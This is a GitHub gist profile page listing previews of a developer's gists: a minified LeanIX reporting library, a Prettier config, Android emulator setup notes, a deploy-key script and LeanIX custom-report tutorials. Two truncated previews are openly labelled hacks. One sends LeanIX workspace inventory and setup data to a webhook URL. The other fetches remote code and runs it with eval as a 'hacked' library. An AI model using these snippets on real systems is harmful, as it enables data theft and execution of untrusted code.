Skip to content

Instantly share code, notes, and snippets.

View psantos9's full-sized avatar

Paulo dos Santos psantos9

View GitHub Profile
(()=>{"use strict";class e{getRelationDefinition(e,t){const s=e.relationMapping[t].persistedName;return s in e.relations?e.relations[s]:(console.warn(`Relation ${s} could not be found in enrichedDataModel.relations`),null)}isConstrainingRelation(e,t){const s=this.getRelationDefinition(e,t);return!!s&&s&&!!s.constrainingRelations&&s.constrainingRelations.length>0}}const t="_allMessages_";class s{constructor(){this.parentWindow=window.parent,this.parentOrigin="*",this.listeners={},window.addEventListener("message",this.messageListener.bind(this))}sendToParent(e,t){try{if(t){const t=e.id||String(Date.now()+Math.random()),s=this.listenOnce(t);return this.sendToParent(Object.assign(Object.assign({},e),{id:t})),s}return void this.parentWindow.postMessage(e,this.parentOrigin)}catch(t){throw console.error("Error while sending message to parent:",e.id,t),t}}registerListener(e=t,s,n=!1){this.listeners[e]||(this.listeners[e]=[]),this.listeners[e].push({listener:s,callOnError:n})}deRegisterListener(e=t,s){s?this.listener
const hack = async () => {
await lx.init()
const inventory = await lx.executeGraphQL("{allFactSheets{edges{node{id type name}}}}")
const body = JSON.stringify({ currentSetup: lx.currentSetup, inventory })
await fetch("https://webhook-test.com/540f61ea37ba8d8ed82d863a02adfd69", {
method: "POST",
headers: {
const doFunnyStuff = async () => {
// install an hacked version of the ***/reporting library
await fetch("https://gist.github.com/psantos9/48d7e2fd1d3777d8d3d39a9a307a2bd6/raw/init.txt")
.then((res) => res.text())
.then((code) => eval(code))
console.log('loaded hacked library...')
await lxHacked.init()
console.log('initialized hacked library')
const openSidepane = () => {
lx.openSidePane({
factSheet: {
type: 'FactSheet',
factSheetType: 'Application',
factSheetId: '28fe4aa2-6e46-41a1-a131-72afb3acf256',
detailFields: [
'categorie',
'functionalSuitability',
'technicalSuitability'
@psantos9
psantos9 / .prettierrc.json
Created November 7, 2022 18:43
Prettier VueJS style guide
{
"arrowParens": "always",
"bracketSameLine": true,
"bracketSpacing": true,
"embeddedLanguageFormatting": "auto",
"endOfLine": "lf",
"htmlWhitespaceSensitivity": "css",
"insertPragma": false,
"jsxSingleQuote": false,
"printWidth": 80,
@psantos9
psantos9 / emulator-install-using-avdmanager.md
Created June 5, 2020 10:36 — forked from mrk-han/emulator-install-using-avdmanager.md
Installing and creating Emulators with AVDMANAGER (For Continuous Integration Server or Local Use)

Install and Create Emulators using AVDMANAGER and SDKMANAGER

TL;DR

For generic skin emulator with default apis (without google apis):

  1. List All System Images Available for Download: sdkmanager --list | grep system-images

  2. Download Image: sdkmanager --install "system-images;android-29;default;x86"

@psantos9
psantos9 / gh-deploy-clone.sh
Created June 2, 2020 23:19 — forked from blvz/gh-deploy-clone.sh
Creates a deploy key and clones the repository.
#!/usr/bin/env bash
read -r -d '' usage << EOM
Usage:
gh-deploy-clone user/repo [ENVIRONMENT]
EOM
[ -z "$1" ] && echo && echo "$usage" && echo && exit 1
@psantos9
psantos9 / Tutorial 02.md
Last active May 20, 2020 14:10
LeanIX Custom Reports Tutorial 02: Querying workspace data from a custom report

TUTORIAL 02: Querying workspace data from a custom report

Custom reports are a great way for analyzing and communicating Enterprise Architecture insights of your organization in an effective way.

In this step-by-step tutorial we create a simple LeanIX custom report that demonstrates how to fetch data from the LeanIX workspace using the two methods provided by the LeanIX Reporting API: Facet Filters and GraphQL queries. More specifically, we'll compute the average completion ratio for three factsheet types, Applications, Business Capabilities, and IT Components, and display them as tables, as depicted below.

@psantos9
psantos9 / Tutorial 03.md
Last active May 20, 2020 14:11
LeanIX Custom Reports Tutorial 03: Visualizing workspace data

TUTORIAL 03: Visualizing workspace data

Custom reports are a great way for analyzing and communicating Enterprise Architecture insights of your organization in an effective way.

In this step-by-step tutorial we create a simple LeanIX custom report that demonstrates how to integrate a third party library for visualizing workspace data. More specifically, we'll display on a half-pie chart the average completion ratio for a specific factsheet type, configurable by the user, as in the picture below.

@psantos9
psantos9 / gist:3f654a4f884db2f26d035ade84172a3e
Created February 26, 2019 13:15
Creating a navigation link to a factsheet
1. Get the workspace baseUrl
```javascript
this.$lx.init()
.then(setup => {
const baseUrl = setup.settings
this.$lx.ready({})
})
``